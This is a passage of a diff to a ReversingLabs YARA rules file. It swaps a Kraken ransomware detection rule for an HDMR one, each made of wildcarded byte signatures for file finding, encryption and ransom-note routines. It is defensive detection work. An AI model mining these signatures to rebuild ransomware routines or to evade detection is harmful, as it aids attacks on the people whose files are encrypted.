-            ?? ?? ?? 6A ?? 66 89 41 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 56 6A ?? FF 15 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF 15
-            ?? ?? ?? ?? 8B F8 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B
-            F0 83 C4 ?? 85 F6 74 ?? 56 FF B5 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56
-            E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 6A ?? 56 FF 15 ?? ??
-            ?? ?? 50 89 85 ?? ?? ?? ?? E8
-        }
-		$drop_ransom_notes = {
-            89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0
-            75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8
-            ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? B9 ?? ?? ?? ?? 8D
-            51 ?? 90 8A 01 41 84 C0 75 ?? 2B CA 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83
-            C0 ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            84 C0 75
+            53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF
+            B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89
+            9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9
+            ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ??
+            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ??
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($drop_aux_files) and ($drop_ransom_notes)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Linux_Ransomware_Kraken : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_HDMR : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Kraken ransomware."
+		description = "Yara rule that detects HDMR ransomware."
 		author = "ReversingLabs"
-		id = "7c302c2e-6ffc-5f51-90f4-c4ebd6c1c28b"
+		id = "97b5020c-6cb1-5ec6-84a4-2f35eae761c2"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Kraken.yara#L1-L151"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4a3867aba4dbdce5d008331a3058f57b00db246975fc4d77b79ab49d5f0bbb15"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.HDMR.yara#L1-L161"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "035c6596db8dc14a663679c1f7e682b85963927cc034b01e390cc22fdee3334a"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33249,138 +34892,149 @@ rule REVERSINGLABS_Linux_Ransomware_Kraken : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Kraken"
+		tc_detection_name = "HDMR"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$enum_volumes = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? 00 A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 50 45 4C 00 C7 45
-            FC 00 00 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ??
-            8A 06 84 C0 0F 84 ?? ?? ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8B D4
-            C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 83 7A ?? ?? 72 ?? 8B 02 EB ?? 8B C2 C6 00
-            ?? 80 3E ?? 75 ?? 33 C9 EB ?? 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 51 56 8B CA
-            E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 C6 ?? E9 ?? ?? ?? ?? BA ??
-            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ??
-            ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? 68 ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8
-            ?? ?? ?? ?? 8B E5 5D C3 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? B8 ?? ?? ?? ?? C3
+		$find_files_p1 = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
+            ?? ?? 53 56 8B 75 ?? 57 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 74 24 ??
+            66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ??
+            ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB
+            ?? 8D 49 ?? 8B 74 24 ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ??
+            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            8D 44 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83
+            C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D
         }
-		$enum_shares_p1 = {
-            50 56 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F
-            5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 66 0F 1F 44 00 ?? FF 75 ?? 6A ?? FF
-            15 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 56 8D 45 ?? 89 75 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? 33 FF 0F 1F 40 ?? 3B 7D ?? 0F 83 ?? ?? ?? ?? 8B C7 C1 E0 ??
-            03 F0 F7 46 ?? ?? ?? ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 06 83 C4 ?? 8B C8 0F 11
-            00 0F 10 46 ?? 0F 11 40 ?? E8 ?? ?? ?? ?? 8B 75 ?? B3 ?? 47 EB ?? F7 46 ?? ?? ?? ??
-            ?? 0F 84 ?? ?? ?? ?? 8B 56 ?? 85 D2 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C6 45 ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 71 ?? 8A 01 41 84 C0 75
-            ?? 2B CE 51 52 8D 4D ?? E8 ?? ?? ?? ?? 51 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B
-            C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B
+		$find_files_p2 = {
+            54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24
+            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4C 24
+            ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 54 24
+            ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24
+            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 68
+            ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 54 24 ?? 68 ?? ??
+            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D
+            8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52
+            56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83
+            C4 ?? 85 F6 74 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
+            8B 0D ?? ?? ?? ?? 83 C4 ?? 3B 0D ?? ?? ?? ?? 7C ?? 8D 49 ?? 6A ?? FF 15 ?? ?? ?? ??
+            8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? FF D7 FF 05 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF D3 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? 56 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D
+            C3
         }
-		$enum_shares_p2 = {
-            4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8
-            ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 55 ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 8D 55 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ??
-            C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6
-            C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ??
-            E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45
-            ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ??
-            8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ??
-            E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B
-            C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ??
-            8B 75 ?? B3 ?? 47 E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 E9 ?? ??
-            ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ??
-            ?? ?? ?? C3
+		$encrypt_files_p1 = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
+            ?? ?? 53 56 57 33 C0 8B D9 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 5C 24 ?? 66
+            89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A
+            ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 66 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? BF ?? ??
+            ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ??
+            ?? 83 C6 ?? 83 C7 ?? 81 FE ?? ?? ?? ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51
+            53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 8C ?? ?? ?? ?? 8B
+            7C 24 ?? 7F ?? 83 FF ?? 0F 82 ?? ?? ?? ?? 8B F0 89 7C 24 ?? 89 74 24 ?? 85 C0 7C ??
+            7F ?? 83 FF ?? 76 ?? 6A ?? 6A ?? 6A ?? 53 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            33 C0 50 8D 54 24 ?? 52 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 88 44 24 ?? 6A ?? 8D
+            44 24 ?? 50 53 C6 44 24 ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B C7 83 E8
+            ?? 8B CE 83 D9 ?? 33 F6 39 44 24 ?? 75 ?? 3B F1 75 ?? 8B 4C 24 ?? 3B 0D ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 C6 44
         }
-		$find_files = {
-              55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ??
-              ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D 4D ??
-              C6 45 ?? ?? 8B 75 ?? 83 FE ?? 8B 7D ?? 8B 55 ?? 0F 43 CF 6A ?? 68 ?? ?? ?? ?? E8 ??
-              ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43 CF 68 ?? ??
-              ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43
-              CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ??
-              6A ?? 0F 43 CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57
-              C0 C7 45 ?? ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-              45 ?? ?? ?? ?? ?? 83 FE ?? C6 45 ?? ?? 8D 4D ?? 0F 43 CF E8 ?? ?? ?? ?? 8B F0 89 75
-              ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B D6 50 8B CE E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ??
-              85 DB 0F 84 ?? ?? ?? ?? 8D 7B ?? B9 ?? ?? ?? ?? 8B C7 66 0F 1F 44 00 ?? 8A 10 3A 11
-              75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 F6 EB ??
-              1B F6 83 CE ?? B9 ?? ?? ?? ?? 8B C7 0F 1F 40 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50
-              ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 3B F0 8B
-              75 ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 57 3D ?? ?? ?? ??
-              75 ?? E8 ?? ?? ?? ?? 50 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC
-              ?? C6 45 ?? ?? 8B CC 8B D0 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D
-              ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-              83 EC ?? C6 45 ?? ?? 8B CC 8D 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4
-              ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ??
-              83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ??
-              ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-              C4 ?? B8 ?? ?? ?? ?? C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ??
-              ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD
-              E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_p2 = {
+            24 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ??
+            ?? ?? ?? 40 88 44 34 ?? 46 83 FE ?? 7C ?? 8B 44 24 ?? BE ?? ?? ?? ?? 85 C0 0F 8F ??
+            ?? ?? ?? 0F 8C ?? ?? ?? ?? 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 85 C0 0F 8C ?? ?? ??
+            ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 85 C0 7F ?? 7C ?? 3B FE 73 ?? 6A ?? 6A ?? 50 57 E8
+            ?? ?? ?? ?? 8B F7 2B F0 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44 24
+            ?? 3B F8 74 ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 74 24 ??
+            75 ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 6A ?? 8D 4C 24 ?? 51 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15
+            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ??
+            ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83
+            C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 68 ?? ??
+            ?? ?? 50 57 E8 ?? ?? ?? ?? 8B C8 89 44 24 ?? B8 ?? ?? ?? ?? F7 E9 C1 FA ?? 8B C2 C1
+            E8 ?? 03 C2 69 C0 ?? ?? ?? ?? 8B D1 2B D0 85 D2 7E ?? 41 89 4C 24 ?? 33 C0 89 44 24
+            ?? 3B C8 0F 8E ?? ?? ?? ?? 89 44 24 ?? EB ?? 90 8B 7C 24 ?? 8B 44 24 ?? 8B 4C 24
         }
-		$encrypt_files_p1 = {
-              55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ??
-              ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 C6 45 ??
-              ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7
-              41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 45 ?? 6A ??
-              50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41
-              ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00
-              ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D
-              4D ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 7D ?? 0F 43 05 ?? ?? ?? ?? 83 FF ?? FF
-              35 ?? ?? ?? ?? 8B 75 ?? 0F 43 CE 8B 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ??
-              ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85
-              C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-              83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8
